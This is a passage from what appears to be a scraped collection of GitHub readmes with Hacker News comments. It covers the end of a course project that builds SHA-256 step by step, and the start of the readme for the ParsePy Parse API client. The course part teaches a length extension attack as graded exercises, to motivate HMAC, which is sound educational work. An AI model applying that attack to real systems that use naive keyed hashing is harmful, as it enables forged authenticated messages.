function like `padding(message_length)`, which takes the original\n**byte-length** of a message and returns the padding **bytestring** for that\nmessage. Your input for this problem is a list of message byte-lengths. For\neach of these, call your `padding()` function with that length as an argument\nand hex-encode the resulting padding bytes. (There are no message bytes to\nconcatenate in this problem, just the padding bytes themselves.) Your output\nfor this problem should be the resulting list of hex-encoded padding strings.\n\nI recommend that you have your `padding()` function return raw bytes, and that\nyou call it like `padding(...).hex()` for this problem. If you prefer to have\nyour `padding()` function do hex-encoding internally, that's ok too, but then\nyou'll need to remember to hex-decode its output in the following problems.\n\n**Input:** a list of message lengths, counted in bytes\n\n**Output:** a list of SHA-256 padding bytestrings, each hex-encoded\n\nThis padding function was our last big moving part. All we have to do now is\nput the padding function and the compression function together.\n\n## The Hash Function\n\n### Problem 13: the hash function\n\nNow we're ready to assemble the complete hash function. The genuine article.\nOnce you finish this problem, you can test your code against Python's `hashlib`\nor against any other SHA-256 implementation in the world, and your output will\nbe exactly the same. Knock on wood.\n\nAs we did with block ciphers, we're going to pad the message and split it up\ninto blocks. Let's look at that Merkle\u2013Damg\u00e5rd diagram again:\n\n<kbd><img alt=\"Merkle\u2013Damg\u00e5rd diagram\" src=\"images/merkle-damgard.png\"></kbd>\n\nM<sub>1</sub>, M<sub>2</sub>, and so on represent 64-byte blocks of the padded\nmessage. There are as many M blocks as needed, depending on the padded message\nlength. The output state (\"chaining value\") returned by each call to the\ncompression function (H<sub>1</sub>, H<sub>2</sub>, and so on) becomes the\ninput state for the following call. And the final chaining value returned by\nthe last call to the compression function is the SHA-256 hash of the message.\n\nYou might've noticed one last missing detail: Where do we get H<sub>0</sub>,\nthe input state for the first call to the compression function? We'll use a\nconstant for this. As in CBC mode, we'll call this constant the \"initialization\nvector\", or IV for short. Unlike CBC mode, where the IV needs to be uniformly\nrandom every time, the SHA-256 IV never changes. It's baked into the standard.\nThis is the other set of constants at the top of the [Wikipedia\npseudocode](https://en.wikipedia.org/wiki/SHA-2#Pseudocode). Paste the\nfollowing into your Python code as another global variable:\n\n```python\nIV = [\n    0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,\n    0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19,\n]\n```\n\nNow, write a function like\n[`sha256(message)`](https://youtu.be/6v5VahaEL7s?t=438). Inside it, use your\n`padding()` function to generate padding bytes, and then append them to the\nmessage bytes. Note that nothing should be hex-encoded at this point. (Using\nhex-encoded padding here is a _common mistake_.) Create a `state` variable,\nwhose starting value is `IV`. Then split the padded message up into 64-byte\nblocks and loop over the blocks, calling your `compress()` function on each\none. For each call to `compress()`, use the current `state` value as input and\nassign the return value back to `state`. Double check that your argument types\nfor `compress()` are the same as they were in Problem&nbsp;11. (Calling\n`compress()` with block bytes here but block words there is another _common\nmistake_.) Once the block loop is finished, convert the final value of `state`\ninto 32 bytes by encoding each of the 8 state words as a 4-byte **big endian**\ninteger and concatenating them. Those 32 bytes are the return value of\n`sha256()`.\n\n> Debugging tips: Even if you've passed tests for all the previous problems,\n> and your `sha256()` function looks good, sometimes you can still get the\n> wrong answer here. Look carefully for the common mistakes described above.\n> Also look for accidental global variables in your functions, which might\n> refer to input from a previous problem. If you get stuck, put print\n> statements everywhere, and compare what you see to these [known-good debug\n> printouts for\n> `sha256(b\"\")`](https://gist.github.com/oconnor663/27804bb33542bbf398aab16e102d8594).\n\nYour input for this problem is a list of ASCII strings. Convert each string to\nbytes and hash it with your `sha256()` function. Your output should be a list\nof the resulting SHA-256 hashes, each encoded as hex.\n\n**Input:** a list of ASCII strings\n\n**Output:** a list of the hex-encoded SHA-256 hashes of those strings\n\n<a href=\"https://youtu.be/LUDEjulbqzk?t=123\">\n  <img alt=\"I have made fire!\" src=\"images/i_have_made_fire.jpg\" width=\"400px\">\n</a>\n\n## The Length Extension Attack\n\nIf we were to stop here, all our blood, sweat, and tears would not have been\nwasted. Implementing SHA-256 is an accomplishment in itself, and the intuition\nyou've gained along the way will hopefully be useful to you whenever you see a\nhash function from now on. But besides that broad intuition, you've also\nlearned some very specific tricks: Now you know how to invoke the SHA-256\ncompression and padding functions directly, which isn't something that most\nlibrary implementations will let you do. It turns out that you can use these\ntricks to pull off an important attack, and the best time to learn this attack\nis while the tricks are still fresh in your mind. Strike while the iron is hot,\nas they say.\n\nSHA-256 has a flaw. Although its collision resistance and other security\nproperties remain unbroken so far, it does *not* behave like a true [\"random\noracle\"](https://en.wikipedia.org/wiki/Random_oracle). Some SHA-256 outputs are\n_related_ to each other, in a way that you can detect or exploit even when you\ndon't know the input. This exploit is called a \"length extension attack\".\n\nRemember how the \"chaining values\" worked in Problem&nbsp;13. The output from\neach call to the compression function became the input for the next call. But\nthe final output, well, it just became the hash. We didn't do anything special\nto it; we just returned it. That means that if you look at a SHA-256 hash,\nyou're looking at the same state that _would have been used_ to call the\ncompression function again _if there had been more input._\n\nThis was a design mistake. (The designers actually knew about this issue at the\ntime but didn't consider it important.) Here's the problem: Suppose you're an\nattacker, and you're looking at a hash that I've published. Let's say you don't\nknow what input I used, maybe because I included a secret key or something like\nthat. Because of this mistake, even though you don't know my input, you can\nconstruct a _new_ hash, which matches a _different_ input, one which starts\nwith the _same bytes as mine_ but then has some extra bytes of your choosing\nadded to the end. If SHA-256 hashes were truly independent of each other, this\nwouldn't be possible, but they aren't, and it is possible.\n\nThere's one thing standing between you and this attack: the padding. I didn't\ndo anything special to the last chaining value, but I did pad my input. Those\npadding bytes went into the state that you're looking at, and there's no way\nfor you to unmix them. But you can live with that, by making a clever\ncompromise:\n\n*Pretend that my padding bytes are part of your chosen suffix.*\n\nThat is to say, you can't extend my input with a totally arbitrary suffix, but\nyou can choose any suffix that starts with my padding bytes. That's an\nimportant limitation, but it still allows for quite a lot of mischief.\n\nIf you're reading through this project before we've covered Chapter 7 of\n*Serious Cryptography*, it might not yet be clear why this attack is important.\nThe short answer is, this attack is why we need an algorithm called\n[HMAC](https://en.wikipedia.org/wiki/HMAC) for keyed hashing, and programmers\nwho don't know about HMAC often misuse hash functions in ways that are\nvulnerable to this attack. We'll get to HMAC in class shortly, if we haven't\nalready. For now, let's see the length extension attack in action.\n\n### Problem 14: modeling the extended input\n\nLet's say my original input is 55 bytes long. I've chosen that length because\nit's the most that still fits in one 64-byte block after padding is added.\nWhat's the padding in this case? Let's use our `padding()` function to see it:\n\n```\n>>> padding(55)\nb'\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xb8'\n>>> padding(55).hex()\n'8000000000000001b8'\n```\n\nWe can recognize the pieces there. One 0x80 byte at the front, no extra 0x00\nbytes in this case, and an 8-byte big-endian integer encoding the value\n0x01b8&nbsp;=&nbsp;440&nbsp;=&nbsp;8&nbsp;*&nbsp;55, which is my input length\nin bits. My original 55 bytes and these 9 bytes of padding are 64 bytes put\ntogether, exactly one block. Clear so far?\n\nNow put your attacker hat back on. You're going to pretend that those padding\nbytes are actually the start of your chosen suffix. Then you're going to add\nany number of additional suffix bytes of your choosing. The resulting\n\"synthetic\" input, which you're ultimately going to compute the hash of, will\nbe equivalent to my original, plus my padding, plus the rest of your chosen\nsuffix. Let's say my original input was fifty-five `0xaa` bytes, and you chose\nthree `0xff` bytes for your suffix. In that case the synthetic message,\nrepresented here as a hex-encoded string that I've split over a few lines,\nwould be:\n\n```\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa    <-- the first 32-byte half of the first block\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa8000000000000001b8    <-- the second 32-byte half of the first block\nffffff                                                              <-- the second block, 3 bytes *before* padding\n```\n\nTo be clear, we won't construct this complete synthetic string ourselves when\nwe perform the length extension attack. In fact, we can't. All those `0xaa`\nbytes in my original input are hidden from the attacker. But this synthetic\nstring is what our final length-extended hash will *represent*, and we want to\nmodel it in this problem.\n\nYour input for this problem is an object with two fields, `\"original_input\"`\ncontaining an ASCII string that we want to extend, and `\"chosen_suffix\"`\ncontaining the ASCII string that we want to extend it with. Convert these\nstrings to bytes, and construct the synthetic message with padding in the\nmiddle that a length extension attack would compute the hash of. Your output\nshould be this synthetic string, encoded as hex.\n\n**Input:** an object with two fields, `\"original_input\"` and `\"chosen_suffix\"`\n\n**Output:** the synthetic message, encoded as hex\n\n### Problem 15: recovering the state\n\nThe length extension attack will reuse a hash as a chaining value, feeding it\ninto additional calls to the compression function. However, you might remember\nthat there was a conversion step we did when we returned the hash. We converted\nit from 8 words to 32 bytes. We need to undo that and recover the words.\n\nYour input for this problem is a 32-byte hash, encoded as hex. Hex-decode it\ninto bytes. Then convert it back into a list of 8 words, by breaking it into\ngroups of 4 bytes and parsing each 4-byte group as a **big-endian** integer.\nYour output should be that list.\n\n**Input:** a 32-byte hash, encoded as hex\n\n**Output:** the list of 8 state words recovered from the hash\n\n### Problem 16: the length extension attack\n\nWe're ready to perform the attack. Your input for this problem will be an\nobject with three fields, `\"original_hash\"`, `\"original_len\"`, and\n`\"chosen_suffix\"`. Hex-decode the original hash and convert the chosen suffix\nto ASCII bytes. Recover the list of 8 state words from the original hash, as\nyou did in Problem&nbsp;15 above.\n\nNow, to begin the attack, _re-pad_ the chosen suffix, like you padded the\nregular message in Problem&nbsp;13. However, instead of calling your\n`padding()` function with the length of the suffix itself, call it with the\n*total length of the synthetic message*. That is, the original input length,\nplus the length of the original input's padding, plus the length of the suffix.\n(This makes your padding bytes different, but it doesn't change _how many_\npadding bytes you get. Can you see why?)\n\nNext, hash the padded suffix by looping over its blocks and calling\n`compress()` on each of them, again as you did in Problem&nbsp;13. However,\ninstead of using `IV` for your initial state, use the state words that you\nrecovered from the original hash.\n\nOnce you've compressed all the resulting blocks, the attack is finished.\nConvert your list of 8 state words back into 32 bytes, using the same method as\nin Problem&nbsp;13. Your output for this problem should be the resulting hash,\nencoded as hex.\n\nThe input for the `\"original_hash\"` given in `example_input.json` was `elephant\njaguar vulture octopus butterfly`. You don't need to know that to extend it,\nbut if you like, you can check that the output is indeed a valid extension of\nthat original string as an exercise.\n\n**Input:** an object with three fields, `\"original_hash\"`, `\"original_len\"`, and `\"chosen_suffix\"`\n\n**Output:** the length-extended hash, encoded as hex\n\n<a href=\"https://youtu.be/Vy7RaQUmOzE?t=201\">\n  <img alt=\"he is the one\" src=\"images/matrix.jpg\" width=\"400px\">\n</a>\n\n## Conclusion\n\nThe project is finished, and there are no more questions. If you've made it\nthis far, then you know more about the insides of a hash function than many\ncryptographers do. That's something to be proud of, and I hope you'll find that\nit was worth the trouble.\n\nIf you're tired of hashing and ready for a break, no need to read any further.\nBut if you found all this very interesting and you're eager to learn more,\nthere are many different avenues to explore. Here are a few:\n\n- In Problem&nbsp;13, we implemented \"all-at-once\" hashing. That is, the entire\n  input string was provided as an argument. In practice however, most hash\n  functions are designed to work incrementally, piece-by-piece. When the input\n  is very large, they read smaller chunks of it in a loop, so that the\n  application doesn't need to allocate lots of memory for a large string.\n  Python's `hashlib` module provides the\n  [`.update()`](https://docs.python.org/3/library/hashlib.html#hashlib.hash.update)\n  method for this. You can try refactoring your own SHA-256 code to support\n  some sort of \"update\" function, which can be called multiple times. You'll\n  need to think about how to \"buffer\" input when what you're given isn't an\n  exact multiple of 64 bytes.\n\n- More recent designs like SHA-3, BLAKE2, and BLAKE3 prevent length extension\n  attacks by making sure that their chaining values and their published hashes\n  are different from each other in some way. This prevents an attacker from\n  looking at a hash and recovering the chaining value that would have been used\n  to compress more input, like we did in Problems 15 and 16. Think about ways\n  you might modify SHA-256 to prevent this. What if the compression function\n  was implemented in hardware, and you weren't allowed to change it?\n\n- The Merkle\u2013Damg\u00e5rd contruction is very common, but there are other ways to\n  organize things. SHA-3 uses a \"sponge construction\" (p. 115), and BLAKE3 uses\n  a \"Merkle tree\" (named after the same Ralph Merkle). These different\n  structures can have a variety of different benefits. You might compare and\n  contrast your SHA-256 code with [this Python implementation of\n  SHA-3](https://github.com/coruus/py-keccak/blob/master/fips202/keccak.py),\n  especially the part where they use `permute()` instead of `compress()`.\n\n- Some use cases, particularly hash tables (dictionaries in Python), can\n  tolerate collisions. For these cases, it's common to use a faster hash\n  function with a smaller state and a shorter output. See for example\n  [SipHash](https://en.wikipedia.org/wiki/SipHash), also designed by J.P.\n  Aumasson, the author of [our textbook](https://nostarch.com/seriouscrypto).\n  SipHash is used by default in the Rust\n  [`HashMap`](https://doc.rust-lang.org/std/collections/struct.HashMap.html),\n  for example. But note that even though hash tables/maps don't need collision\n  resistance per se, they often do need some related security properties,\n  because they can be [vulnerable to DOS\n  attacks](https://www.anchor.com.au/blog/2012/12/how-to-explain-hash-dos-to-your-parents-by-using-cats/)\n  if an attacker is able to produce too many collisions.\n\n- Some applications need a hash function with more exotic properties. For\n  example, you might be familiar with the `rsync` command for copying files\n  over a network. Rsync uses a [\"rolling\n  hash\"](https://en.wikipedia.org/wiki/Rolling_hash) to efficiently detect\n  blocks that are the same between two different versions of a file. Rolling\n  hashes look quite different from cryptographic hash functions, and they\n  usually don't make strong security guarantees. If you have access to a remote\n  server, you can play with making a tiny change to a large file, and see how\n  long it takes Rsync to pick up the change.\n\nHappy hashing.\n", "readme_type": "markdown", "hn_comments": "I really like this. Cryptography is obviously very hard to get right and complex, and for that reason people have said \"don't roll your own crypto\" - but really, that's stupid. What we need is accessible information to explain cryptography to people, so they know how to make smart crypto decisions, know what pitfalls exist, etc.I think crypto has done a particularly bad job of providing accessible materials, historically, and has had a terrible attitude towards doing so. Things are changing, and that's nice.<HN_SEP>Wrote a similar article, in Barbarian language for the German audience here, and completely in Python.I found it really difficult to find written and understandable material for this topic. Mostly people posts Youtube clickbait videos about that.Though, this one goes far beyond the simple process. So I almost don't dare to compare my profane post to this elaborarte description.\"Wie funktioniert der SHA256 Algorithmus\u2026im Detail? (Teil 1/2) \u2013 nicky reinert\" https://nickyreinert.de/blog/2021/10/31/wie-funktioniert-der...<HN_SEP>I found this video to be an excellent explanation and sufficient to implement the algorithm: https://www.youtube.com/watch?v=f9EbD6iY9zICode: https://gist.github.com/void4/6f5ff23a3df81d6115fceb6adefddd...This site contains a nice visualization: https://sha256algorithm.com/<HN_SEP>I wonder how the newer hashes, like Reinforced Concrete, that are used in Zero-Knowledge applications compare to SHA-256.I mean can Reinforced Concrete replace SHA-256, as the primary hash, in a blockchain?<HN_SEP>Proof-of-work cryptocurrencies moved toward complex hash functions that are \"ASIC resistant\" in order to attempt to keep mining power as distributed as possible (for CPUs), because whatever highly-funded manufacturer designs the most-optimized and fastest ASICs gains concentrated mining power. ASIC hash/W efficiency doubles every couple of years, so using them as heaters becomes cost-ineffective as difficulty adjusts.But what if we turned this all on its head and intentionally designed a hash function that is \"ASIC optimized\" so that the perfect ASIC miner design could be found quickly (perhaps at its very conception), and miners became a generic commodity item, \"grey goo miners\", and used them as space heaters in cold climates, or maybe even wherever electric heating was needed in industry? That way mining would be as distributed as the need for electric heating, and its energy would be put to good use. It might also put a ceiling on the total electricity consumed because it would be hard to compete with any miner whose electric bills are \"free\" (relatively).<HN_SEP>The most interesting part of this is the section on Length Extension Attack. Implementing SHA256 isn't all that interesting since it's just a mechanistic translation of an algorithm, but the attack shows off one of the implications of how the function works.<HN_SEP>I was hoping this would explain a bit more about why the algorithm does the things it does. Do we have proofs for why certain types of mixing are more secure than others?Also, it's funny how even world-class cryptographers can think it's perfectly fine to directly output internal state as the digest. Some things are only obvious in retrospect.<HN_SEP>OP appears to be Jack O'Connor, one of the designers of BLAKE3, which is the fastest full-strength cryptographic hash function currently available. It's always nice to see practicing cryptographers also producing digestible cryptography content.<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "milesrichardson/ParsePy", "link": "https://github.com/milesrichardson/ParsePy", "tags": ["parse-server", "python", "parse"], "stars": 516, "description": "A relatively up-to-date fork of ParsePy, the Python wrapper for the Parse.com API. Originally maintained by @dgrtwo ", "lang": "Python", "repo_lang": "", "readme": "Note: As of May 13, 2016, this repository (`milesrichardson/ParsePy)` is the\nmost up-to-date and active python client for the Parse API. It supports self-hosted\n`parse-server` via the REST API. Note that some features will not work with parse-server,\nif they are not supported by the REST API (e.g. push).\n\nSee the section below, \"using with self-hosted parse-server,\" for instructions.\n\nparse_rest\n==========\n\n**parse_rest** is a Python client for the [Parse REST\n  API](http://docs.parseplatform.org/rest/guide). It provides:\n\n  - Python object mapping for Parse objects with methods to save,\n  update, and delete objects, as well as an interface for querying\n  stored objects.\n  - Complex data types provided by Parse with no python equivalent\n  - User authentication, account creation** (signup) and querying.\n  - Cloud code integration\n  - Installation querying\n  - push\n  - Roles/ACLs**\n  - Image/File type support (done 1/14/17)\n\n\n** for applications with access to the MASTER KEY, see details below.\n\n\nInstallation\n------------\n\nThe easiest way to install this package is by downloading or\ncloning this repository:\n\n    pip install git+https://github.com/milesrichardson/ParsePy.git\n\nNote: The version on [PyPI](http://pypi.python.org/pypi) is not\nup-to-date. The code is still under lots of changes and the stability\nof the library API - though improving - is not guaranteed. Please\nfile any issues that you may find if documentation/application.\n\n\nUsing with self-hosted `parse-server`\n-------------\n\nTo use the library with self-hosted parse-server, set the environment variable\n`PARSE_API_ROOT` before importing the module.\n\nExample:\n\n~~~~~ {python}\nimport os\nos.environ[\"PARSE_API_ROOT\"] = \"http://your_server.com:1337/parse\"\n\n# Everything else same as usual\n\nfrom parse_rest.datatypes import Function, Object, GeoPoint\nfrom parse_rest.connection import register\nfrom parse_rest.query import QueryResourceDoesNotExist\nfrom parse_rest.connection import ParseBatcher\nfrom parse_rest.core import ResourceRequestBadRequest, ParseError\n\nAPPLICATION_ID = '...'\nREST_API_KEY = '...'\nMASTER_KEY = '...'\n\nregister(APPLICATION_ID, REST_API_KEY, master_key=MASTER_KEY)\n~~~~~\n\n\nTesting\n-------\n\nTo run the tests, you need to:\n\n* create a `settings_local.py` file in your local directory with three\n  variables that define a sample Parse application to use for testing:\n\n~~~~~ {python}\nAPPLICATION_ID = \"APPLICATION_ID_HERE\"\nREST_API_KEY = \"REST_API_KEY_HERE\"\nMASTER_KEY = \"MASTER_KEY_HERE\"\n~~~~~\n\nNote Do **not** give the keys of an existing application with data you want to\nkeep: create a new one instead. The test suite will erase any existing CloudCode\nin the app and may accidentally replace or change existing objects.\n\n* install the [Parse CloudCode tool](http://docs.parseplatform.org/cloudcode/guide/)\n\nYou can then test the installation by running the following command:\n\n    # test all\n    python -m unittest parse_rest.tests\n\n    # or test individually\n    python -m unittest parse_rest.tests.TestObject.testCanCreateNewObject\n\nUsage\n-----------\n\nBefore the first interaction with the Parse server, you need to\nregister your access credentials. You can do so by calling\n`parse_rest.connection.register`.\n\nBefore getting to code, a word of caution. You need to consider how your application is\nmeant to be deployed. Parse identifies your application through\ndifferent keys (available from your Parse dashboard) that are used in\nevery request done to their servers.\n\nIf your application is supposed to be distributed to third parties\n(such as a desktop program to be installed), you SHOULD NOT put the\nmaster key in your code. If your application is meant to be running in\nsystems that you fully control (e.g, a web app that needs to integrate\nwith Parse to provide functionality to your client), you may also add\nyour *master key*.\n\n~~~~~ {python}\nfrom parse_rest.connection import register\nregister(<application_id>, <rest_api_key>[, master_key=None])\n~~~~~\n\nOnce your application calls `register`, you will be able to read, write\nand query for data at Parse.\n\n\nData types\n----------\n\nParse allows us to get data in different base types that have a direct\npython equivalent (strings, integers, floats, dicts, lists) as well as\nsome more complex ones (e.g.:`File`, `Image`, `Date`). It also allows\nus to define objects with schema-free structure, and save them, as\nwell to query them later by their attributes. `parse_rest` is\nhandy as a way to serialize/deserialize these objects transparently.\n\nThe Object type\n---------------\n\n\nIn theory, you are able to simply instantiate a `Object` and do\neverything that you want with it, save it on Parse, retrieve it later,\netc.\n\n~~~~~ {python}\nfrom parse_rest.datatypes import Object\n\nfirst_object = Object()\n~~~~~\n\nIn practice, you will probably want different classes for your\napplication to allow for a better organization in your own code.\nSo, let's say you want to make an online game, and you want to save\nthe scoreboard on Parse. For that, you decide to define a class called\n`GameScore`. All you need to do to create such a class is to define a\nPython class that inherts from `parse_rest.datatypes.Object`:\n\n~~~~~ {python}\nfrom parse_rest.datatypes import Object\n\nclass GameScore(Object):\n    pass\n~~~~~\n\nYou can also create an Object subclass by string name, with the `Object.factory`\nmethod:\n\n~~~~~ {python}\nfrom parse_rest.datatypes import Object\n\nmyClassName = \"GameScore\"\nmyClass = Object.factory(myClassName)\n\nprint myClass\n# <class 'parse_rest.datatypes.GameScore'>\nprint myClass.__name__\n# GameScore\n~~~~~\n\nYou can then instantiate your new class with some parameters:\n\n~~~~~ {python}\ngameScore = GameScore(score=1337, player_name='John Doe', cheat_mode=False)\n~~~~~\n\nYou can change or set new parameters afterwards:\n\n~~~~ {python}\ngameScore.cheat_mode = True\ngameScore.level = 20\n~~~~\n\nTo save our new object, just call the save() method:\n\n~~~~~ {python}\ngameScore.save()\n~~~~~\n\nIf we want to make an update, just call save() again after modifying\nan attribute to send the changes to the server:\n\n~~~~~ {python}\ngameScore.score = 2061\ngameScore.save()\n~~~~~\n\nYou can also increment the score in a single API query:\n\n~~~~~ {python}\ngameScore.increment(\"score\")\n~~~~~\n\nNow that we've done all that work creating our first Parse object, let's delete it:\n\n~~~~~ {python}\ngameScore.delete()\n~~~~~\n\nThat's it! You're ready to start saving data on Parse.\n\nObject Metadata\n---------------\n\nThe attributes objectId, createdAt, and updatedAt show metadata about\na _Object_ that cannot be modified through the API:\n\n~~~~~ {python}\ngameScore.objectId\n# 'xxwXx9eOec'\ngameScore.createdAt\n# datetime.datetime(2011, 9, 16, 21, 51, 36, 784000)\ngameScore.updatedAt\n# datetime.datetime(2011, 9, 118, 14, 18, 23, 152000)\n~~~~~\n\nAdditional Datatypes\n--------------------\n\nWe've mentioned that Parse supports more complex types, most of these\ntypes are also supported on Python (dates, files). So these types can\nbe converted transparently when you use them. For the types that Parse\nprovided and Python does not support natively, `parse_rest` provides\nthe appropiates classes to work with them. One such example is\n`GeoPoint`, where you store latitude and longitude\n\n~~~~~ {python}\nfrom parse_rest.datatypes import Object, GeoPoint\n\nclass Restaurant(Object):\n    pass\n\nrestaurant = Restaurant(name=\"Los Pollos Hermanos\")\n# coordinates as floats.\nrestaurant.location = GeoPoint(latitude=12.0, longitude=-34.45)\nrestaurant.save()\n~~~~~\n\nWe can store a reference to another Object by assigning it to an attribute:\n\n~~~~~ {python}\nfrom parse_rest.datatypes import Object\n\nclass CollectedItem(Object):\n    pass\n\ncollectedItem = CollectedItem(type=\"Sword\", isAwesome=True)\ncollectedItem.save() # we have to save it before it can be referenced\n\ngameScore.item = collectedItem\n~~~~~\n\n\nFile Support\n---------------\n\nYou can upload files to parse (assuming your `parse-server` instance supports it).\nThis has been tested with the default GridStore adapter.\n\nExample:\n\n~~~~~ {python}\nfrom parse_rest.datatypes import Object, File\n\nclass GameScore(Object):\n    pass\n\n# 1. Upload file\n\nwith open('/path/to/screenshot.png', 'rb') as fh:\n    rawdata = fh.read()\n\nscreenshotFile = File('arbitraryNameOfFile', rawdata, 'image/png')\nscreenshotFile.save()\n\nprint screenshotFile.url\n\n# 2. Attach file to gamescore object and save\ngs = GameScore.Query.get(objectId='xxxxxxx')\ngs.screenshot = screenshotFile\ngs.save()\n\nprint gs.file.url\n~~~~~\n\n\nBatch Operations\n----------------\n\nFor the sake of efficiency, Parse also supports creating, updating or deleting objects in batches using a single query, which saves on network round trips. You can perform such batch operations using the `connection.ParseBatcher` object:\n\n~~~~~ {python}\nfrom parse_rest.connection import ParseBatcher\n\nscore1 = GameScore(score=1337, player_name='John Doe', cheat_mode=False)\nscore2 = GameScore(score=1400, player_name='Jane Doe', cheat_mode=False)\nscore3 = GameScore(score=2000, player_name='Jack Doe', cheat_mode=True)\nscores = [score1, score2, score3]\n\nbatcher = ParseBatcher()\nbatcher.batch_save(scores)\nbatcher.batch_delete(scores)\n~~~~~\n\nYou can also mix `save` and `delete` operations in the same query as follows (note the absence of parentheses after each `save` or `delete`):\n\n~~~~~ {python}\nbatcher.batch([score1.save, score2.save, score3.delete])\n~~~~~\n\nIf an error occurs during one or multiple of the operations, it will not affect\nthe execution of the remaining operations. Instead, the `batcher.batch_save` or\n`batcher.batch_delete` or `batcher.batch` will raise a `ParseBatchError`\n(child of `ParseError`) exception with `.message` set to a *list* of the errors\nencountered. For example:\n\n~~~~~ {python}\n# Batch save a list of two objects:\n#   dupe_object is a duplicate violating a unique key constraint\n#   dupe_object2 is a duplicate violating a unique key constraint\n#   new_object is a new object satisfying the unique key constraint\n#\n# dupe_object and dupe_object2 will fail to save, and new_object will save successfully\n\ndupe_object = list(MyClass.Query.all().limit(2))[0]\ndupe_object2 = list(MyClass.Query.all().limit(2))[1]\nnew_object = MyClass(some_column=11111)\nobjects = [dupe_object, dupe_object2, new_object]\n\nbatcher = ParseBatcher()\nbatcher.batch_save(objects)\n~~~~~\n\nwill raise an exception:\n\n~~~~~ {python}\nTraceback (most recent call last):\n  File \"<console>\", line 1, in <module>\n  File \"/Users/miles/ParsePy/parse_rest/connection.py\", line 199, in batch_save\n    self.batch(o.save for o in objects)\n  File \"/Users/miles/ParsePy/parse_rest/connection.py\", line 195, in batch\n    raise core.ParseBatchError(batched_errors)\n\nParseBatchError: [{u'code': 11000, u'error': u'E11000 duplicate key error index: myapp.MyClass.$my_column_1 dup key: { : 555555 }'}, {u'code': 11000, u'error': u'E11000 duplicate key error index: myapp.MyClass.$my_column_1 dup key: { : 44444 }'}]\n~~~~~\n\nAnd `CRUCIALLY`, the objectId field of the NON-duplicate object will be correctly set:\n\n~~~~~ {python}\n>>> #batch_save as above...\n>>> print objects\n[<MyClass:None>, <MyClass:None>, <MyClass:gOHuhPbGZJ>]\n~~~~~\n\nTherefore, one way to tell which objects saved successfully after a batch save operation\nis to check which objects have `objectId` set.\n\nQuerying\n--------\n\nAny class inheriting from `parse_rest.Object` has a `Query`\nobject. With it, you can perform queries that return a set of objects\nor that will return a object directly.\n\n\n### Retrieving a single object\n\nTo retrieve an object with a Parse class of `GameScore` and an\n`objectId` of `xxwXx9eOec`, run:\n\n~~~~~ {python}\ngameScore = GameScore.Query.get(objectId=\"xxwXx9eOec\")\n~~~~~\n\n### Working with Querysets\n\nTo query for sets of objects, we work with the concept of\n`Queryset`s. If you are familiar with Django you will be right at home\n\\- but be aware that is not a complete implementation of their\nQueryset or Database backend.\n\nThe Query object contains a method called `all()`, which will return a\nbasic (unfiltered) Queryset. It will represent the set of all objects\nof the class you are querying.\n\n~~~~~ {python}\nall_scores = GameScore.Query.all()\n~~~~~\n\nQuerysets are _lazily evaluated_, meaning that it will only actually\nmake a request to Parse when you either call a method that needs to\noperate on the data, or when you iterate on the Queryset.\n\n#### Filtering\n\nLike Django, Querysets can have constraints added by appending the name of the filter operator to name of the attribute:\n\n~~~~~ {python}\nhigh_scores = GameScore.Query.filter(score__gte=1000)\n~~~~~\n\nYou can similarly perform queries on GeoPoint objects by using the `nearSphere` operator:\n\n~~~~~ {python}\nmy_loc = GeoPoint(latitude=12.0, longitude=-34.55)\nnearby_restaurants = Restaurant.Query.filter(location__nearSphere=my_loc)\n~~~~~\n\nYou can see the [full list of constraint operators defined by\nParse](http://docs.parseplatform.org/rest/guide/#query-constraints)\n\n\n#### Sorting/Ordering\n\nQuerysets can also be ordered. Just define the name of the attribute\nthat you want to use to sort. Appending a \"-\" in front of the name\nwill sort the set in descending order.\n\n~~~~~ {python}\nlow_to_high_score_board = GameScore.Query.all().order_by(\"score\")\nhigh_to_low_score_board = GameScore.Query.all().order_by(\"-score\") # or order_by(\"score\", descending=True)\n~~~~~\n\n#### Limit/Skip\n\nIf you don't want the whole set, you can apply the\nlimit and skip function. Let's say you have a have classes\nrepresenting a blog, and you want to implement basic pagination:\n\n~~~~~ {python}\nposts = Post.Query.all().order_by(\"-publication_date\")\npage_one = posts.limit(10) # Will return the most 10 recent posts.\npage_two = posts.skip(10).limit(10) # Will return posts 11-20\n~~~~~\n\n#### Related objects\n\nYou can specify \"join\" attributes to get related object with single query.\n\n~~~~~ {python}\nposts = Post.Query.all().select_related(\"author\", \"editor\")\n~~~~~\n\n#### Composability/Chaining of Querysets\n\nThe example above can show the most powerful aspect of Querysets, that\nis the ability to make complex querying and filtering by chaining calls:\n\nMost importantly, Querysets can be chained together. This allows you\nto make more complex queries:\n\n~~~~~ {python}\nposts_by_joe = Post.Query.all().filter(author='Joe').order_by(\"view_count\")\npopular_posts = posts_by_joe.gte(view_count=200)\n~~~~~\n\n#### Iterating on Querysets\n\nAfter all the querying/filtering/sorting, you will probably want to do\nsomething with the results. Querysets can be iterated on:\n\n~~~~~ {python}\nposts_by_joe = Post.Query.all().filter(author='Joe').order_by('view_count')\nfor post in posts_by_joe:\n   print post.title, post.publication_date, post.text\n~~~~~\n\n**TODO**: Slicing of Querysets\n\n\nRelations\n---------\n\nA Relation is field that contains references to multiple objects.\nYou can query this subset of objects.\n\n(Note that Parse's relations are \"one sided\" and don't involve a join table.  [See the docs.](http://docs.parseplatform.org/js/guide/#many-to-many))\n\nFor example, if we have Game and GameScore classes, and one game\ncan have multiple GameScores, you can use relations to associate\nthose GameScores with a Game.\n\n~~~~~ {python}\ngame = Game(name=\"3-way Battle\")\ngame.save()\nscore1 = GameScore(player_name='Ronald', score=100)\nscore2 = GameScore(player_name='Rebecca', score=140)\nscore3 = GameScore(player_name='Sara', score=190)\nrelation = game.relation('scores')\nrelation.add([score1, score2, score3])\n~~~~~\n\nA Game gets added, three GameScores get added, and three relations\nare created associating the GameScores with the Game.\n\nTo retreive the related scores for a game, you use query() to get a\nQueryset for the relation.\n\n~~~~~ {python}\nscores = relation.query()\nfor gamescore in scores:\n    print gamescore.player_name, gamescore.score\n~~~~~\n\nThe query is limited to the objects previously added to 